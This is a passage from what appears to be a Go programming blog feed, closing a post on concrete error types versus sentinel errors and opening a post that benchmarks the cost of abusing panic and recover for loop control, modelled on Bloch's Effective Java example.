<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span> package bluesky
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> import (
</span></span><span style="display:flex;"><span>   &#34;errors&#34;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  &#34;fmt&#34;
</span></span></span><span style="display:flex;"><span>   &#34;math/rand/v2&#34;
</span></span><span style="display:flex;"><span> )
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">+// Deprecated: use InvalidUsernameError instead.
</span></span></span><span style="display:flex;"><span> var ErrInvalidUsername = errors.New(&#34;invalid username&#34;)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">+// Deprecated: use UnknownAvailabilityError instead.
</span></span></span><span style="display:flex;"><span> var ErrUnknownAvailability = errors.New(&#34;unknown availability&#34;)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">+type InvalidUsernameError struct {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  Username string
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+}
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+func (e *InvalidUsernameError) Error() string {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  return fmt.Sprintf(&#34;invalid username %q&#34;, e.Username)
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+}
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+func (*InvalidUsernameError) Is(err error) bool {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  return err == ErrInvalidUsername
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+}
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+type UnknownAvailabilityError struct {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  Username string
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  Cause    error
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+}
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+func (e *UnknownAvailabilityError) Error() string {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  return fmt.Sprintf(&#34;unknown availability of %q&#34;, e.Username)
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+}
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+func (*UnknownAvailabilityError) Is(err error) bool {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  return err == ErrUnknownAvailability
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+}
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+func (e *UnknownAvailabilityError) Unwrap() error {
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  return e.Cause
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+}
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+
</span></span></span><span style="display:flex;"><span> func IsAvailable(username string) (bool, error) {
</span></span><span style="display:flex;"><span>   // actual implementation omitted
</span></span><span style="display:flex;"><span>   switch rand.IntN(3) {
</span></span><span style="display:flex;"><span>   case 0:
</span></span><span style="display:flex;"><span><span style="color:#f92672">-  return false, ErrInvalidUsername
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  return false, &amp;InvalidUsernameError{
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+    Username: username,
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+  }
</span></span></span><span style="display:flex;"><span>   case 1:
</span></span><span style="display:flex;"><span><span style="color:#f92672">-    return false, ErrUnknownAvailability
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+    return false, &amp;UnknownAvailabilityError{
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+      Username: username,
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+      Cause:    errors.New(&#34;oh no&#34;),
</span></span></span><span style="display:flex;"><span><span style="color:#a6e22e">+    }
</span></span></span><span style="display:flex;"><span>   default:
</span></span><span style="display:flex;"><span>     return false, nil
</span></span><span style="display:flex;"><span>   }
</span></span><span style="display:flex;"><span> }
</span></span></code></pre></div><p>If you found yourself in this ideal situation, those changes would break none
of your clients; that much is true.  In general, though, I would refrain from
such unbridled optimism.  Therefore, if you anticipate that you&rsquo;ll need error
types at some stage, I think that you&rsquo;re better off starting with them and
skipping sentinel errors altogether.</p>
<h2 id="discussion">Discussion <a href="#discussion">¶</a></h2>
<p>Concrete error types have served me well, especially in
<a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">github.com/jub0bs/cors</a>, to which I recently added support for
<a href="https://jub0bs.com/posts/2025-01-28-programmatic-handling-of-cors-configuration-errors/" target="_blank" rel="noopener">programmatic handling of CORS-configuration errors</a>.  This post
might have convinced you to favour them over sentinel errors from now
on.</p>
<p>However, I don&rsquo;t want to oversell concrete error types either.  They may not be
a good fit for some of your projects, for reasons beyond my knowledge.  If
you&rsquo;re in that situation, I&rsquo;d like to hear from you; find me on social media or
<a href="https://gophers.slack.com" target="_blank" rel="noopener">Gophers Slack</a>.</p>
<p>You may for instance prefer <em>opaque errors</em> and letting your clients <em>assert errors on
behaviour</em> rather than on type, <a href="https://dave.cheney.net/2014/12/24/inspecting-errors" target="_blank" rel="noopener">an approach promulgated by Dave
Cheney</a> that I didn&rsquo;t dare cover here for fear of turning
this already lengthy post into a soporific essay.</p>
<p>Whatever you do, keep in mind that patterns are contextual, not absolute.
Always exercise judgement.  Be deliberate in your design choices, and resist
the temptation to delegate them to some mindless AI tool. 😇</p>
<h2 id="acknowledgments">Acknowledgments <a href="#acknowledgments">¶</a></h2>
<p>Some of the public and private conversations that I&rsquo;ve had with other Gophers
on Slack fed into this post.  Thanks in particular to <a href="https://bsky.app/profile/rog.bsky.social" target="_blank" rel="noopener">Roger Peppe</a>,
<a href="https://chaos.social/@Merovius" target="_blank" rel="noopener">Axel Wagner</a>, <a href="https://bsky.app/profile/justenwalker.bsky.social" target="_blank" rel="noopener">Justen Walker</a>, <a href="https://github.com/williammoran" target="_blank" rel="noopener">Bill Moran</a>, <a href="https://noahstride.co.uk/" target="_blank" rel="noopener">Noah
Stride</a>, and <a href="https://mamot.fr/@fgm" target="_blank" rel="noopener">Frédéric Marand</a>.</p>
]]></content>
        </item>
        
        <item>
            <title>The cost of Go&#39;s panic and recover</title>
            <link>//jub0bs.com/posts/2025-02-28-cost-of-panic-recover/</link>
            <pubDate>Fri, 28 Feb 2025 20:20:00 +0000</pubDate>
            
            <guid>//jub0bs.com/posts/2025-02-28-cost-of-panic-recover/</guid>
            <description>&lt;h2 id=&#34;tldr&#34;&gt;TL;DR &lt;a href=&#34;#tldr&#34;&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Some of the wisdom contained in Josh Bloch&amp;rsquo;s &lt;em&gt;Effective Java&lt;/em&gt; book is
relevant to Go.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;panic&lt;/code&gt; and &lt;code&gt;recover&lt;/code&gt; are best reserved for exceptional circumstances.&lt;/li&gt;
&lt;li&gt;Reliance on &lt;code&gt;panic&lt;/code&gt; and &lt;code&gt;recover&lt;/code&gt; can noticeably slow down execution, incurs
heap allocations, and precludes inlining.&lt;/li&gt;
&lt;li&gt;Internal handling of failure cases via &lt;code&gt;panic&lt;/code&gt; and &lt;code&gt;recover&lt;/code&gt; is tolerable and
sometimes beneficial.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;abusing-java-exceptions-for-control-flow&#34;&gt;Abusing Java exceptions for control flow &lt;a href=&#34;#abusing-java-exceptions-for-control-flow&#34;&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Even though my Java days are long gone and Go has been my language of predilection
for a while, I still occasionally revisit &lt;a href=&#34;https://www.informit.com/store/effective-java-9780134685991&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;em&gt;Effective Java&lt;/em&gt;&lt;/a&gt;,
&lt;a href=&#34;https://en.wikipedia.org/wiki/Joshua_Bloch&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Joshua Bloch&lt;/a&gt;&amp;rsquo;s seminal and award-winning book, and I never fail to rediscover
nuggets of wisdom in it.
In item 69 (entitled &lt;em&gt;Use exceptions only for exceptional conditions&lt;/em&gt;) of the
book&amp;rsquo;s third edition, Bloch presents an example of abusing Java exceptions
for control flow. I&amp;rsquo;m hesitant to quote the content of
that section in full here for fear of a copyright strike from Bloch&amp;rsquo;s publishing
company, but it—and, in fact, the whole book—is well worth a read.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="tldr">TL;DR <a href="#tldr">¶</a></h2>
<ul>
<li>Some of the wisdom contained in Josh Bloch&rsquo;s <em>Effective Java</em> book is
relevant to Go.</li>
<li><code>panic</code> and <code>recover</code> are best reserved for exceptional circumstances.</li>
<li>Reliance on <code>panic</code> and <code>recover</code> can noticeably slow down execution, incurs
heap allocations, and precludes inlining.</li>
<li>Internal handling of failure cases via <code>panic</code> and <code>recover</code> is tolerable and
sometimes beneficial.</li>
</ul>
<h2 id="abusing-java-exceptions-for-control-flow">Abusing Java exceptions for control flow <a href="#abusing-java-exceptions-for-control-flow">¶</a></h2>
<p>Even though my Java days are long gone and Go has been my language of predilection
for a while, I still occasionally revisit <a href="https://www.informit.com/store/effective-java-9780134685991" target="_blank" rel="noopener"><em>Effective Java</em></a>,
<a href="https://en.wikipedia.org/wiki/Joshua_Bloch" target="_blank" rel="noopener">Joshua Bloch</a>&rsquo;s seminal and award-winning book, and I never fail to rediscover
nuggets of wisdom in it.
In item 69 (entitled <em>Use exceptions only for exceptional conditions</em>) of the
book&rsquo;s third edition, Bloch presents an example of abusing Java exceptions
for control flow. I&rsquo;m hesitant to quote the content of
that section in full here for fear of a copyright strike from Bloch&rsquo;s publishing
company, but it—and, in fact, the whole book—is well worth a read.</p>
<p>Bloch opens with the following code snippet, which demonstrates a rather peculiar
way of iterating over an array (named <code>range</code>) of objects of some <code>Mountain</code> class
so as to invoke their <code>climb</code> method:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> 0;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">while</span> (<span style="color:#66d9ef">true</span>)
</span></span><span style="display:flex;"><span>    range<span style="color:#f92672">[</span>i<span style="color:#f92672">++]</span>.<span style="color:#a6e22e">climb</span>();
</span></span><span style="display:flex;"><span>} <span style="color:#66d9ef">catch</span> (ArrayIndexOutOfBoundsException e) {
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Note that variable <code>i</code> eventually gets incremented up to the length of the array,
at which point an attempt to access the array at index <code>i</code> raises an
<a href="https://docs.oracle.com/javase/9/docs/api/java/lang/ArrayIndexOutOfBoundsException.html" target="_blank" rel="noopener"><code>ArrayIndexOutOfBoundsException</code></a>, which gets caught and promptly ignored.
Of course, a functionally equivalent but far clearer and more idiomatic approach
consists in relying on a &ldquo;for-each&rdquo; loop,
which itself amounts to a classic three-clause loop:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> 0; i <span style="color:#f92672">&lt;</span> range.<span style="color:#a6e22e">length</span>; i<span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>  range<span style="color:#f92672">[</span>i<span style="color:#f92672">]</span>.<span style="color:#a6e22e">climb</span>();
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Bloch patiently proceeds to explain why some misguided practitioners may favour
the exception-based approach over the more idiomatic one: not only do they
perceive the termination test (<code>i &lt; range.length</code>) as costly, but they deem
it superfluous. Why? Because they believe that the Java compiler
introduces a <a href="https://en.wikipedia.org/wiki/Bounds_checking" target="_blank" rel="noopener">bounds check</a> for <em>every</em> array access (<code>range[i]</code>).
If memory safety is guaranteed by those systematic bounds checks, they reason,
why even bother checking whether the index variable goes out of bounds?</p>
<p>Bloch then debunks this theory via three counterarguments:</p>
<blockquote>
<ol>
<li>Because exceptions are designed for exceptional circumstances, there is
little incentive for JVM implementors to make them as fast as explicit tests.</li>
<li>Placing code inside a <code>try</code>-<code>catch</code> block inhibits certain optimizations
that JVM implementations might otherwise perform.</li>
<li>The standard idiom for looping through an array doesn’t necessarily result
in redundant checks. Many JVM implementations optimize them away.</li>
</ol>
</blockquote>
<p>Follows this empirical observation:</p>
<blockquote>
<p>[&hellip;] the exception-based idiom is far slower than the standard one.
On my machine, the exception-based idiom is about twice as slow as the
standard one for arrays of one hundred elements.</p>
</blockquote>
<h2 id="how-is-this-relevant-to-go">How is this relevant to Go? <a href="#how-is-this-relevant-to-go">¶</a></h2>
<p>The designers of Go <a href="https://go.dev/doc/faq#exceptions" target="_blank" rel="noopener">deliberately</a> shied away from equipping
the language with an exception system like Java&rsquo;s:</p>
<blockquote>
<p>We believe that coupling exceptions to a control structure,
as in the <code>try</code>-<code>catch</code>-<code>finally</code> idiom, results in convoluted code.
It also tends to encourage programmers to label too many ordinary errors,
such as failing to open a file, as exceptional.</p>
<p>Go takes a different approach. For plain error handling, Go’s multi-value
returns make it easy to report an error without overloading the return value.
A canonical error type, coupled with Go’s other features, makes error
handling pleasant but quite different from that in other languages.</p>
<p>Go also has a couple of built-in functions to signal and recover from truly
exceptional conditions. The recovery mechanism is executed only as part of a
function’s state being torn down after an error, which is sufficient to handle
catastrophe but requires no extra control structures and, when used well,
can result in clean error-handling code.</p>
</blockquote>
<p>However, some newcomers to Go may, at least at first, struggle to adopt the
language&rsquo;s idiom of communicating anticipated failure cases as
<a href="https://www.youtube.com/watch?v=PAAkCSZUG1c&amp;t=16m13s" target="_blank" rel="noopener">values</a> rather than as exceptions; they may be tempted to
abuse Go&rsquo;s built-in <a href="https://pkg.go.dev/builtin#panic" target="_blank" rel="noopener"><code>panic</code></a> and <a href="https://pkg.go.dev/builtin#recover" target="_blank" rel="noopener"><code>recover</code></a>
functions for communicating even benign failure cases.</p>
<p>Go&rsquo;s ecosystem (language, compiler, runtime, etc.) may be vastly different from
Java&rsquo;s, but transposing Bloch&rsquo;s experiment from Java to Go is nonetheless an
instructive and playful way to discuss the cost of <code>panic</code> and
<code>recover</code>, and perhaps stifle newcomers&rsquo; urge to unduly rely on that mechanism
in their programs.</p>
<h2 id="abusing-gos-panicrecover-for-control-flow">Abusing Go&rsquo;s panic/recover for control flow <a href="#abusing-gos-panicrecover-for-control-flow">¶</a></h2>
<p>In the remainder of this post, I&rsquo;ll assume that Go 1.24 is used,
in terms of both <a href="https://go.dev/ref/spec" target="_blank" rel="noopener">the language semantics</a> and <a href="https://pkg.go.dev/cmd/compile@go1.24.0" target="_blank" rel="noopener">the Go compiler (gc)</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>$ go version
</span></span><span style="display:flex;"><span>go version go1.24.0 darwin/amd64
</span></span></code></pre></div><p>Roughly translated to Go and molded into a self-contained package, Bloch&rsquo;s code
snippet becomes the following program (<a href="https://github.com/jub0bs/panicabused" target="_blank" rel="noopener">available on GitHub</a>):</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">28
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">29
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">Mountain</span> <span style="color:#66d9ef">struct</span>{
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">climbed</span> <span style="color:#66d9ef">bool</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">m</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">Mountain</span>) <span style="color:#a6e22e">Climb</span>() {
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">m</span>.<span style="color:#a6e22e">climbed</span> = <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">mountains</span> <span style="color:#f92672">:=</span> make([]<span style="color:#a6e22e">Mountain</span>, <span style="color:#ae81ff">8</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">ClimbAllPanicRecover</span>(<span style="color:#a6e22e">mountains</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">ClimbAllPanicRecover</span>(<span style="color:#a6e22e">mountains</span> []<span style="color:#a6e22e">Mountain</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">defer</span> <span style="color:#66d9ef">func</span>() {
</span></span><span style="display:flex;"><span>    recover()
</span></span><span style="display:flex;"><span>  }()
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">:=</span> <span style="color:#ae81ff">0</span>; ; <span style="color:#a6e22e">i</span><span style="color:#f92672">++</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">mountains</span>[<span style="color:#a6e22e">i</span>].<span style="color:#a6e22e">Climb</span>() <span style="color:#75715e">// panics when i == len(mountains)</span>
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">ClimbAll</span>(<span style="color:#a6e22e">mountains</span> []<span style="color:#a6e22e">Mountain</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">range</span> <span style="color:#a6e22e">mountains</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">mountains</span>[<span style="color:#a6e22e">i</span>].<span style="color:#a6e22e">Climb</span>()
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
<p>(<a href="https://go.dev/play/p/RF9o-RIfoxM" target="_blank" rel="noopener">playground</a>)</p>
<p>As its name suggests, function <code>ClimbAllPanicRecover</code> abuses <code>panic</code> and
<code>recover</code> for iterating over the input slice, whereas function <code>ClimbAll</code>
stands for the more idiomatic reference implementation.</p>
<p>Bloch never reveals what his <code>Mountain</code> class is made of or what its <code>climb</code>
method does. To forestall any dead-code elimination by the compiler,
I&rsquo;ve opted to make my <code>(*Mountain).Climb</code> method mutate the
<code>climbed</code> field of its receiver.</p>
<h3 id="the-overhead-of-panic-and-recover-is-non-negligible">The overhead of panic and recover is non-negligible <a href="#the-overhead-of-panic-and-recover-is-non-negligible">¶</a></h3>
<p>Below are some <a href="https://pkg.go.dev/testing#hdr-Benchmarks" target="_blank" rel="noopener">benchmarks</a> pitting <code>ClimbAllPanicRecover</code> against
<code>ClimbAll</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> (
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;fmt&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;testing&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">cases</span> [][]<span style="color:#a6e22e">Mountain</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">init</span>() {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">_</span>, <span style="color:#a6e22e">size</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">range</span> []<span style="color:#66d9ef">int</span>{<span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">1e1</span>, <span style="color:#ae81ff">1e2</span>, <span style="color:#ae81ff">1e3</span>, <span style="color:#ae81ff">1e4</span>, <span style="color:#ae81ff">1e5</span>} {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">s</span> <span style="color:#f92672">:=</span> make([]<span style="color:#a6e22e">Mountain</span>, <span style="color:#a6e22e">size</span>)
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">cases</span> = append(<span style="color:#a6e22e">cases</span>, <span style="color:#a6e22e">s</span>)
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">BenchmarkClimbAll</span>(<span style="color:#a6e22e">b</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">testing</span>.<span style="color:#a6e22e">B</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">benchmark</span>(<span style="color:#a6e22e">b</span>, <span style="color:#e6db74">&#34;idiomatic&#34;</span>, <span style="color:#a6e22e">ClimbAll</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">benchmark</span>(<span style="color:#a6e22e">b</span>, <span style="color:#e6db74">&#34;panic-recover&#34;</span>, <span style="color:#a6e22e">ClimbAllPanicRecover</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">benchmark</span>(<span style="color:#a6e22e">b</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">testing</span>.<span style="color:#a6e22e">B</span>, <span style="color:#a6e22e">impl</span> <span style="color:#66d9ef">string</span>, <span style="color:#a6e22e">climbAll</span> <span style="color:#66d9ef">func</span>([]<span style="color:#a6e22e">Mountain</span>)) {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">_</span>, <span style="color:#a6e22e">ns</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">range</span> <span style="color:#a6e22e">cases</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">f</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">b</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">testing</span>.<span style="color:#a6e22e">B</span>) {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">b</span>.<span style="color:#a6e22e">Loop</span>() {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">climbAll</span>(<span style="color:#a6e22e">ns</span>)
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">desc</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Sprintf</span>(<span style="color:#e6db74">&#34;impl=%s/size=%d&#34;</span>, <span style="color:#a6e22e">impl</span>, len(<span style="color:#a6e22e">ns</span>))
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">b</span>.<span style="color:#a6e22e">Run</span>(<span style="color:#a6e22e">desc</span>, <span style="color:#a6e22e">f</span>)
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>(Incidentally, if you&rsquo;re not yet familiar with <a href="https://pkg.go.dev/testing#B.Loop" target="_blank" rel="noopener">the new <code>(*testing.B).Loop</code>
